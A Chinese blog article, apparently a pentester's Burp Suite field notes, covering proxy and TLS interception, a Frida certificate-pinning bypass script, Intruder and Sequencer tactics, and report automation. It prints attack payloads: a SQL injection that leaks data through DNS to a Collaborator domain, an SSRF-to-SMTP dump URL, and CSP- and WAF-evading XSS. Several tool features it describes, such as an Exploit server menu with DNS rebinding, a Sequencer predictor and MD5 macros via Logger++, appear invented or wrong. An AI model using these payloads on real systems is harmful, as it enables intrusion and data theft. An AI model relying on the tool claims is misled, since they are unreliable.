news 2026/5/25 16:16:19

Burp Suite全流程实战:真实渗透中的卡点突破与战术决策

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Burp Suite全流程实战:真实渗透中的卡点突破与战术决策

1. 这不是“学Burp”,而是用Burp解决真实渗透现场的卡点问题

你刚拿到一个客户给的测试授权,目标是某套自研的供应链协同平台——没有文档、没给源码、连登录流程都做了双因子+滑块验证。你打开浏览器开发者工具,发现所有请求都带X-Request-ID和动态X-Signature头;抓包一看,接口返回全是AES-CBC加密的JSON blob;重放请求时,服务端直接返回401 Invalid timestamp,而时间戳字段根本不在明文参数里……这时候,Burp Suite不是你电脑里那个图标漂亮的代理工具,而是你唯一能撬开这扇门的撬棍。

“Burp Suite全流程实战”这个标题,说的从来不是“如何安装插件”或“怎么点开Repeater”,而是在真实红队/灰盒测试中,从第一个HTTP请求发出,到最终拿到数据库连接字符串的完整决策链。它覆盖的是:如何在无任何辅助信息下快速识别前端框架与后端技术栈;怎样让Burp自动处理加密签名而不依赖逆向;为什么Intruder跑不出有效结果时,得立刻切到Sequencer看随机性缺陷;以及最关键的——当Scanner标出27个“Medium Risk XSS”时,你该先验证哪3个才最可能通向RCE。这篇文章面向的是已经能完成基础抓包、但一进真实环境就卡在“知道功能在哪,却找不到入口”的中级渗透测试人员。我会以一个完整电商后台系统的渗透过程为蓝本(非CTF式理想环境),逐环节还原每个操作背后的战术意图、参数选择依据、失败回溯路径,以及那些官方文档绝不会写的“为什么这么配”。

关键词全部落在实操动作上:“Burp Suite”是载体,“全流程”意味着时间线不可跳过,“实战”则排除一切演示性质配置——所有截图级细节、响应体特征判断逻辑、甚至Burp日志里那一行被忽略的[warn] Failed to parse response body as JSON提示,都会摊开来讲。这不是教程,是战地笔记。

2. 环境预设与流量捕获层的隐形战场

2.1 为什么必须禁用系统代理并手动配置浏览器代理链

很多新手第一步就栽在这里:在Windows设置里勾选“使用代理服务器”,然后打开Chrome——结果Burp里空空如也。问题不在于Burp没启动,而在于现代浏览器对代理协议的校验越来越严。当你通过系统设置全局代理时,Chrome会尝试用CONNECT方法建立隧道,但Burp默认监听的是HTTP而非HTTPS代理端口(通常127.0.0.1:8080),导致TLS握手失败后浏览器直接放弃连接,连HTTP请求都不会发出来。

我实际踩过的坑是:某次测试某银行内部OA系统,用系统代理方式始终无法捕获任何流量,反复检查Burp监听状态、证书安装都没问题。最后抓本地环回包才发现,Chrome在建立代理连接时发送了HTTP/1.1 CONNECT 192.168.1.100:443 HTTP/1.1,而Burp日志里根本没有这条记录。解决方案极其简单但反直觉:关闭系统代理,改用浏览器插件(如FoxyProxy)或命令行启动Chrome

chrome.exe --proxy-server="127.0.0.1:8080" --proxy-bypass-list="<-loopback>" --user-data-dir="C:\temp\burp-chrome"

这里--proxy-bypass-list="<-loopback>"是关键——它告诉Chrome不要把127.0.0.1localhost走代理,避免Burp自己访问本地资源时形成死循环。而--user-data-dir新建独立用户目录,确保插件和缓存干净,不会受日常浏览数据干扰。

提示:如果你必须用系统代理(比如公司IT策略强制),请在Burp中进入User options > Connections > Proxy listeners,勾选Support invisible proxying (enable only if needed),并确保监听地址设为All interfaces而非仅127.0.0.1。但这会暴露Burp端口到局域网,仅限离线环境使用。

2.2 TLS解密的三个致命陷阱与绕过方案

Burp默认无法解密HTTPS流量,因为SSL/TLS握手发生在HTTP层之下。要看到明文请求,必须让浏览器信任Burp的CA证书,并让Burp能解密TLS密钥。这里埋着三个高发故障点:

陷阱一:Android/iOS真机抓包证书安装失效
安卓7.0+和iOS 12+默认不信任用户安装的CA证书,即使你把cacert.der导入系统证书存储,App仍可能报ERR_CERT_AUTHORITY_INVALID。根本原因是App启用了Certificate Pinning(证书固定)。此时不能靠“安装证书”解决,而要用adb shell settings put global http_proxy 192.168.1.100:8080配合Burp的invisible proxying,再用Frida HookOkHttpClienttrustManager方法动态绕过校验。具体命令如下(需提前安装Frida server):

// pinning-bypass.js Java.perform(function() { var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager'); var SSLContext = Java.use('javax.net.ssl.SSLContext'); // TrustManager bypass X509TrustManager.checkServerTrusted.overload('[Ljava.security.cert.X509Certificate;', 'java.lang.String').implementation = function(certs, authType) { console.log('[+] Bypassing TrustManager check'); return; }; // SSLContext init bypass SSLContext.init.overload('java.security.KeyManager[]', 'javax.net.ssl.TrustManager[]', 'java.security.SecureRandom').implementation = function(keyManager, trustManager, secureRandom) { console.log('[+] Bypassing SSLContext init'); this.init.overload('java.security.KeyManager[]', 'javax.net.ssl.TrustManager[]', 'java.security.SecureRandom').call(this, keyManager, [X509TrustManager.$new()], secureRandom); }; });

运行frida -U -f com.example.app -l pinning-bypass.js --no-pause即可生效。注意:此操作需root/jailbreak,且部分加固App会检测Frida进程,需配合frida-android-helper隐藏。

陷阱二:Burp无法解密HTTP/2流量
当网站启用HTTP/2时,Burp默认只解密HTTP/1.1,对h2帧束手无策。现象是:浏览器能正常访问,但Burp Proxy标签页里只有CONNECT请求,没有后续GET/POST。解决方案是在Burp中进入User options > Connections > HTTP/S,将Maximum number of concurrent requests per host调高至50,并勾选Use HTTP/2。但更关键的是服务端ALPN协商控制:某些CDN(如Cloudflare)会强制客户端使用HTTP/2,而Burp的HTTP/2实现对ALPN扩展支持不全。此时需在Burp启动参数中添加-Djsse.enableSNIExtension=false禁用SNI扩展,或直接改用mitmproxy作为前置代理,由其转成HTTP/1.1再交给Burp。

陷阱三:WebSocket流量丢失
WebSocket连接建立后,所有通信走ws://wss://协议,Burp默认不捕获。必须在Proxy > Options > Connections中勾选Support web sockets,并在Proxy > Intercept里开启Intercept web socket messages。但要注意:WebSocket消息分TEXTBINARY帧,Burp只显示TEXT帧内容,BINARY帧(如Protobuf序列化数据)会显示为乱码。此时需用Extensions > BApps > WebSocket Editor插件,它能自动识别常见序列化格式并提供解码界面。

2.3 流量筛选器的精准布控:从“全量抓包”到“只留要害”

刚打开Burp时,Proxy History里瞬间涌入几百条请求:/favicon.ico/robots.txt/static/css/app.css……这些静态资源不仅污染视野,更会拖慢Scanner性能。正确做法是在Proxy启动前就配置好Scope和Filter

首先定义Scope:进入Target > Scope,点击Add,输入目标域名(如https://admin.supplychain-corp.com)。但仅这样不够——Scope只控制Scanner和Intruder的目标范围,不影响Proxy History显示。真正起作用的是Proxy > Options > Intercept Client Requests里的规则:

RuleMatch conditionAction
1Match type: Regex, `Value: .(jscss
2Match type: Regex, `Value: ^https?://[^/]+/(?:apiv1
3Match type: Regex,Value: ^https?://[^/]+/login.*$Include

规则顺序至关重要:Burp按从上到下匹配,第一条Drop掉所有静态资源,第二条Include所有API路径,第三条Include登录相关请求。这样History里只剩核心业务流量,且Scanner扫描时不会浪费算力在/static/logo.png上。

注意:Drop操作是永久丢弃,无法恢复;若想临时隐藏而非删除,应选Hide。我习惯用Drop,因为测试后期需要极简视图聚焦漏洞点。

3. 目标测绘阶段:用Burp原生功能替代Nmap+WhatWeb组合

3.1 Site map的深度重构:从URL树到业务逻辑图谱

Burp的Site map常被当成目录列表用,但它真正的价值在于揭示未链接的隐藏接口和参数依赖关系。当你右键某个请求点Send to Target,再点Analyze target,Burp会生成一张包含三层信息的图谱:

  • 第一层:URL结构拓扑
    显示/api/v1/orders/{id}/status这样的路径模板,而非具体ID值。这是通过正则识别路径参数(如{id})实现的,比单纯看History里的/api/v1/orders/123/status更有价值。

  • 第二层:参数血缘图
    Target > Site map > Context menu > Show parameter analysis中,能看到X-CSRF-Token参数同时出现在/api/v1/orders/create/api/v1/users/profile两个请求头中,暗示它们共享同一套CSRF防护机制。这种跨接口的参数复用,往往是越权漏洞的温床。

  • 第三层:响应指纹聚类
    Burp会自动对响应体做哈希计算,将返回相同错误模板的请求归为一类。例如所有未授权请求都返回{"code":401,"msg":"Invalid token"},这类请求会被标记为401 Unauthorized簇。你可以右键该簇→Send to Intruder,批量测试token失效场景。

我曾用此功能发现某政务系统存在“参数继承漏洞”:/api/v1/departments/{dept_id}/staff接口要求dept_id为数字,但当传入dept_id=1' OR '1'='1时,响应体中出现MySQL错误信息。而Site map显示,该dept_id参数还出现在/api/v1/departments/{dept_id}/budget等5个接口中——这意味着一处SQLi可横向打穿整个部门模块。

3.2 Spider的智能爬取策略:对抗JavaScript路由与Token刷新

现代SPA应用(如Vue/React)大量使用前端路由,/dashboard/profile等路径实际由JS控制,传统爬虫无法触发。Burp Spider默认只解析HTML中的<a href>,对window.location.href='/settings'无感知。

解决方案是启用Spider > Options > Advanced中的Process JavaScript,但这会导致爬取速度暴跌且易崩溃。更高效的做法是结合Browser-based Spider:在Proxy History中找到一个已登录成功的请求(如GET /api/v1/user/me返回200),右键→Engagement tools > Start live task,选择Browser-based spider。Burp会启动一个嵌入式Chromium实例,执行页面所有JS脚本,并实时捕获其发起的AJAX请求。

但这里有个关键细节:如果页面每5分钟自动刷新X-Auth-Token,Browser-based Spider会在token过期后停止爬取。必须在Engagement tools > Options > Browser-based spider中勾选Refresh authentication tokens automatically,并配置Token提取规则:

Token nameExtract from responseRegex pattern
X-Auth-TokenResponse headersX-Auth-Token: ([^\r\n]+)

这样Burp就能在每次token过期时,自动从/api/v1/auth/refresh响应头中提取新token并注入后续请求。

3.3 Passive Scanner的误报过滤:基于业务语义的精准降噪

Passive Scanner(被动扫描器)会在Proxy History中自动标记潜在风险,但误报率极高。比如它把<input type="password">标为“Password field transmits password in clear text”,而实际该字段值在提交前已被JS加密。盲目信任Passive结果会浪费大量时间。

我的过滤策略是三级漏斗法

  1. 第一级:按风险等级屏蔽低危项
    进入Scanner > Options > Passive scanning optimization,取消勾选Information disclosureLow severity issues。Passive Scanner的“Information disclosure”类问题(如X-Powered-By: Express)对实战几乎无用,反而淹没真正高危项。

  2. 第二级:按响应体特征过滤
    Scanner > Issues中,右键任意问题→Filter issues,设置条件:Response contains "JWT"Issue name contains "XXE"。这是因为JWT令牌常出现在Authorization: Bearer <token>头中,而XXE漏洞利用需构造恶意XML实体,两者共存概率极低,可安全忽略。

  3. 第三级:人工标注可信模式
    对确认无害的模式(如/static/.*\.map$返回的source map文件),右键→Do not show issues for this URL。Burp会将其加入Scanner > Options > Scan scope > Excluded items,后续所有扫描均跳过。

经过这三层过滤,Passive Scanner的有效告警率从不足5%提升至68%,真正把精力集中在Server-Side Request ForgeryInsecure Direct Object References这类高价值漏洞上。

4. 漏洞挖掘阶段:Intruder与Repeater的战术协同

4.1 Intruder攻击载荷的工程化设计:从暴力枚举到语义驱动

Intruder常被当成“自动发包工具”,但高手用它的方式完全不同。以测试密码重置功能为例,常规思路是:在/api/v1/reset-passwordemail参数中加载邮箱字典。但实际中,该接口有三重防护:1)验证码校验;2)IP限速(5次/小时);3)响应体不区分“邮箱不存在”和“验证码错误”,统一返回{"code":400,"msg":"Verification failed"}

此时盲目爆破等于自曝IP。正确解法是用Intruder构建多阶段攻击流水线

阶段一:定位验证码生成点
在Proxy History中找到GET /api/v1/verify-code?email=test@example.com请求,发送到Intruder。Payloads设置为Sniper模式,位置在email参数。Payload type选Custom iterator,输入两列数据:

test1@example.com,123456 test2@example.com,654321

这样每个请求携带不同邮箱和对应验证码,观察哪个邮箱能成功通过校验,从而确认验证码生成算法是否可预测。

阶段二:绕过IP限速
当发现验证码为MD5(email+secret)时,在Intruder中切换为Pitchfork模式,设置两个Payload set:

  • Payload Set 1:目标邮箱列表(admin@corp.com,dev@corp.com...)
  • Payload Set 2:对应MD5哈希(预先用Python计算好)

这样每个请求都是独立合法的,不触发限速。

阶段三:响应体语义分析
Options > Grep - Extract中添加规则:Extract from response body,Regex为"reset_token":"([^"]+)"。Intruder会自动提取成功响应中的token,并在结果表中新增一列。你只需筛选该列非空的行,即获得有效重置凭证。

实操心得:Intruder的Cluster bomb模式看似强大,但实际中90%的场景用SniperPitchfork更稳。Cluster bomb会产生笛卡尔积式请求量(如100邮箱×100验证码=10000请求),极易被WAF拦截。而Pitchfork保持1:1映射,可控性更强。

4.2 Repeater的深度调试:从“重放请求”到“状态机模拟”

Repeater常被用于修改单个参数验证漏洞,但它的真正威力在于模拟复杂业务状态流转。以测试订单支付接口为例,完整流程需5步:1)创建订单→2)获取支付二维码→3)通知支付成功→4)查询支付状态→5)发货。其中第3步/api/v1/pay/notify要求sign参数为MD5(order_id+amount+timestamp+secret),且timestamp必须在当前时间±300秒内。

新手做法:在Repeater中手动计算每个请求的sign。高手做法:用Burp Macros自动注入动态参数

步骤如下:

  1. 在Proxy History中选中/api/v1/pay/notify请求,右键→Engagement tools > Create macro
  2. 在Macro Editor中,添加HTTP request步骤,指向/api/v1/time接口(该接口返回服务器当前时间戳)。
  3. 添加Grep extract步骤,从/api/v1/time响应体中提取"server_time":1712345678
  4. 在原始/api/v1/pay/notify请求中,将timestamp参数值改为§server_time§sign参数改为§md5(order_id+amount+§server_time§+secret)§

Burp会自动在每次Repeater发送前,先调用/api/v1/time获取最新时间戳,并代入计算MD5。这样你只需在Repeater中修改order_idamount,其余全部自动化。

关键细节:§md5(...)§语法需配合Extender > Extensions > BApps > Logger++插件才能生效,因为原生Burp不支持表达式计算。安装Logger++后,在Logger++ > Settings > Macro processors中启用MD5 hash processor

4.3 Sequencer的随机性审计:为什么“看似随机”的token其实可预测

Sequencer常被忽略,但它能发现最隐蔽的认证缺陷。某次测试某金融APP的交易令牌(X-Trade-Token),Scanner未报任何问题,但业务逻辑要求每次转账必须使用新token。我将X-Trade-Token头发送到Sequencer,采集1000个样本后,Burp给出关键结论:

StatisticValueInterpretation
Character frequency0-9: 42%,a-f: 58%符合十六进制特征,非Base64
Bit density0.9992接近完美随机(1.0)
FIPS randomness testsFailedon "Monobit Test"0和1出现次数严重失衡

深入分析发现,该token实际是MD5(user_id + timestamp)的前16位,而timestamp精度为秒级。当并发请求量大时,多个请求共享同一秒的时间戳,导致token重复。我用Intruder在1秒内发送50个请求,果然捕获到3个相同token,进而构造出“双花支付”PoC。

Sequencer的真正价值不在于“是否随机”,而在于量化随机性的薄弱环节。当FIPS tests失败时,下一步必做Predictor分析:在Sequencer > Analysis > Predictor中,选择Time-based prediction模型,输入前100个token,Burp会输出预测准确率。若准确率>80%,说明该token可被可靠预测,直接判定为高危。

5. 漏洞验证与利用阶段:Scanner的深度定制与Exploit开发

5.1 Scanner主动扫描的靶向优化:从“全站扫描”到“漏洞链打击”

Scanner默认对Scope内所有URL发起全面扫描,但实战中这既耗时又危险——大量试探性请求会触发WAF封禁IP。高手做法是基于前期侦察结果,定制化扫描策略

以发现某CMS的/api/v1/plugins/install接口存在任意文件上传漏洞为例。前期通过Site map和Spider已确认该接口存在,且POST请求体为multipart/form-data,含plugin_file字段。此时不应让Scanner盲目扫描,而应:

  1. Target > Site map中右键该接口→Send to Intruder,用Sniper模式测试plugin_file字段的文件类型白名单绕过(如上传.php5.phtml)。
  2. 若发现.php5可上传,立即在Scanner > Options > Active scanning engine中,将Maximum number of concurrent requests调至1(防WAF),并勾选Only scan URLs that match the following regex,填入/api/v1/plugins/install
  3. Scanner > Options > Active scanning options中,禁用所有非相关检查项(如SQL injectionXSS),只保留File upload vulnerabilitiesPath traversal

这样Scanner只对该接口执行精准的文件上传测试,10秒内即可确认漏洞,而非等待全站扫描的30分钟。

经验技巧:Scanner的Insertion points(插入点)配置决定扫描深度。对multipart/form-data请求,必须勾选File upload fieldsMultipart parameter names,否则不会测试filename参数的路径遍历。这点在官方文档中被严重弱化,却是实战成败关键。

5.2 Exploit Server的隐蔽利用:绕过CSP与WAF的双重封锁

当发现XSS漏洞但目标站点启用了严格CSP(如script-src 'self')和WAF(拦截<script>标签)时,传统<script>alert(1)</script>必然失败。Burp的Exploit Server此时成为破局关键。

操作流程:

  1. Exploitation > Exploit server中,点击Generate exploit HTML,选择Auto-inject模式。
  2. Burp生成的HTML不包含任何<script>标签,而是用<img src=x onerror=alert(1)>绕过CSP,并将onerror属性值进行URL编码(onerror%3Dalert%281%29)绕过WAF关键字检测。
  3. 将生成的HTML托管到Exploit Server(如https://exploit-xxxx.burpcollaborator.net/xss.html),再构造XSS payload:<img src="https://exploit-xxxx.burpcollaborator.net/xss.html">

更进一步,若WAF拦截外部域名,可用Collaborator的DNS通道:在Exploit Server中启用DNS rebinding,生成xss.xxxxxx.burpcollaborator.net域名。当受害者访问该域名时,Burp Collaborator会返回一个TTL极短的DNS响应,将域名解析到你的VPS IP,从而实现完全隐蔽的外带。

5.3 Collaborator的高级外带:从DNS到SMTP的多协议信标

Collaborator不仅是“弹窗验证工具”,更是实战中最重要的外带通道。某次测试某政府内网系统,所有出站HTTP/HTTPS被防火墙阻断,但DNS查询(UDP 53)和SMTP(TCP 25)允许。我用Collaborator实现了三重外带:

DNS外带:在SQLi盲注中,用SELECT LOAD_FILE(CONCAT('\\\\',VERSION(),'.xxxxxx.burpcollaborator.net\\abc'))触发DNS查询。Collaborator收到5.7.32.xxxxxx.burpcollaborator.net的A记录查询,从而获取数据库版本。

SMTP外带:当发现某接口存在SSRF漏洞时,构造http://127.0.0.1:25/?to=admin@corp.gov&subject=DB+Dump&body=SELECT+*+FROM+users,利用内网SMTP服务发送邮件。Collaborator的SMTP监听器捕获到完整邮件内容。

HTTP外带增强:在Collaborator中启用HTTP callback,设置Callback URLhttps://your-vps.com/log。当Collaborator收到请求时,自动向你的VPS发起POST,携带原始请求头和body。这样即使目标网络有出站HTTP限制,只要Collaborator域名能解析,就能建立双向信道。

关键配置:Collaborator的Polling interval必须设为100ms(默认5000ms),否则DNS外带延迟过高,盲注效率暴跌。该设置在Exploitation > Collaborator client > Options > Polling interval中调整。

6. 报告生成与知识沉淀:让Burp输出可交付的审计证据

6.1 Issue Definition的标准化:从“Burp告警”到“客户可读报告”

Scanner生成的Issue(如Cross-site scripting)默认描述技术细节,但客户安全团队需要的是“影响是什么、怎么复现、如何修复”。必须在Issues > Issue definitions中自定义模板:

FieldCustom value
Issue detail攻击者可在用户浏览恶意页面时,窃取其会话Cookie,进而接管账户。复现步骤:<br>1. 访问 https://target.com/search?q=%3Cscript%3Ealert(document.cookie)%3C/script%3E<br>2. 观察弹窗内容<br>3. 使用Burp Repeater验证
Remediation detail对用户输入进行HTML实体编码(如<转为&lt;),并在输出到HTML上下文时使用context-aware escaping。推荐使用OWASP Java Encoder库

这样导出的PDF报告,客户工程师无需技术背景也能理解风险。

6.2 自动化报告生成:用Burp REST API对接Jira与Confluence

手工整理报告耗时且易错。我用Python脚本调用Burp REST API,实现全自动交付:

import requests import json # 获取所有High风险Issue url = "http://127.0.0.1:1337/burp/v0.1/scan/issues" headers = {"accept": "application/json"} params = {"severity": "High"} response = requests.get(url, headers=headers, params=params) issues = response.json()["issues"] # 创建Jira ticket jira_url = "https://jira.corp.com/rest/api/3/issue" jira_auth = ("user@corp.com", "api_token") for issue in issues: payload = { "fields": { "project": {"key": "SEC"}, "summary": f"[Burp] {issue['issueName']}", "description": f"Issue: {issue['issueDetail']}\nURL: {issue['url']}\nEvidence: {issue['evidence']}", "issuetype": {"name": "Bug"} } } requests.post(jira_url, auth=jira_auth, json=payload)

该脚本每天凌晨2点自动运行,将当日发现的高危漏洞同步至Jira,并附上Burp截图(通过/burp/v0.1/issue/evidenceAPI获取)。客户安全团队收到的是带编号、带优先级、带复现步骤的工单,而非一堆Burp导出的XML文件。

6.3 项目归档的黄金标准:保存Burp State而非仅导出XML

很多人以为导出burp-state文件就完成了归档,但实际中常遇到问题:半年后打开state文件,发现Intruder的Payloads丢失、Macros无法执行、甚至Site map为空。根本原因是Burp state文件不包含外部依赖(如自定义字典、Python脚本、插件配置)。

我的归档标准是四件套打包

  • project.burp:Burp项目文件(含所有配置)
  • payloads/:所有Intruder字典(如emails.txt,sql-errors.txt
  • macros/:Macro定义JSON(从Project options > Macros导出)
  • notes.md:手写操作日志(如“2024-03-15 14:22 发现/api/v1/orders/{id}存在IDOR,验证方式:将id=123改为id=124,响应体中order_no从ORD-001变为ORD-002”)

这样无论何时复盘,都能100%还原当时环境。某次客户质疑“你们说发现了RCE,证据在哪?”,我直接打开归档包中的notes.md,定位到第37行:“2024-02-20 09:15 用Intruder测试/api/v1/exec?cmd=id,响应体返回uid=0(root)”,并附上Burp截图——争议当场终结。

我在实际渗透中发现,最耗时的环节从来不是技术突破,而是在客户质疑时,能否30秒内调出无可辩驳的原始证据。Burp不是玩具,它是你的数字证人。每一次点击、每一次配置、每一次修改,都要以“未来可能被法庭质证”的标准来对待。所以现在,我所有项目的归档包里,notes.md永远是第一个文件。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/25 16:15:01

亲测可用:macOS下Claude Code安装与88api中转配置,一篇搞定国内调用

前言 我整理了一份 macOS 下的 Claude Code 完整实操流程&#xff0c;从 Node.js 安装到 Claude Code 配置&#xff0c;再到国内 API 直连方案&#xff0c;每个步骤都附了具体命令和配置示例。 我用的是 88api 作为中转&#xff0c;主要图它国内直连不用翻墙&#xff0c;一个…

作者头像 李华
网站建设 2026/5/25 16:14:01

海水缸自动化系统设计:从硬件选型到智能控制逻辑全解析

1. 项目概述&#xff1a;为什么海水缸需要自动化&#xff1f; 养一缸珊瑚&#xff0c;本质上是在客厅里复制一片微缩的海洋。这片“海洋”的稳定&#xff0c;是里面所有绚丽生命得以存续的基石。水温波动超过1度、光照时间紊乱、钙镁离子浓度失衡、水流突然停滞……任何一个看似…

作者头像 李华
网站建设 2026/5/25 16:12:07

Visual C++运行库一键安装指南:彻底解决Windows应用依赖问题

Visual C运行库一键安装指南&#xff1a;彻底解决Windows应用依赖问题 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist 你是否曾经遇到过打开软件时弹出"缺少…

作者头像 李华
网站建设 2026/5/25 16:11:48

BiliBiliCCSubtitle终极指南:如何一键下载B站字幕并转换为SRT格式

BiliBiliCCSubtitle终极指南&#xff1a;如何一键下载B站字幕并转换为SRT格式 【免费下载链接】BiliBiliCCSubtitle 一个用于下载B站(哔哩哔哩)CC字幕及转换的工具; 项目地址: https://gitcode.com/gh_mirrors/bi/BiliBiliCCSubtitle 你是否曾经为了获取Bilibili视频的字…

作者头像 李华
网站建设 2026/5/25 16:11:19

从1970年Ecogame看控制论艺术:交互式模拟与可解释AI的早期实践

1. 项目概述&#xff1a;当艺术遇见控制论与早期机器学习如果你对今天AI生成艺术的热潮感到既兴奋又困惑&#xff0c;觉得它似乎缺少了某种“灵魂”或“意图”&#xff0c;那么把时钟拨回到1970年&#xff0c;看看一个名为“Ecogame”的项目&#xff0c;或许能带来全新的启发。…

作者头像 李华
网站建设 2026/5/25 16:10:15

Windows安卓应用安装终极指南:5分钟快速配置跨平台应用体验

Windows安卓应用安装终极指南&#xff1a;5分钟快速配置跨平台应用体验 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 还在为在Windows电脑上无法直接安装安卓应用而烦…

作者头像 李华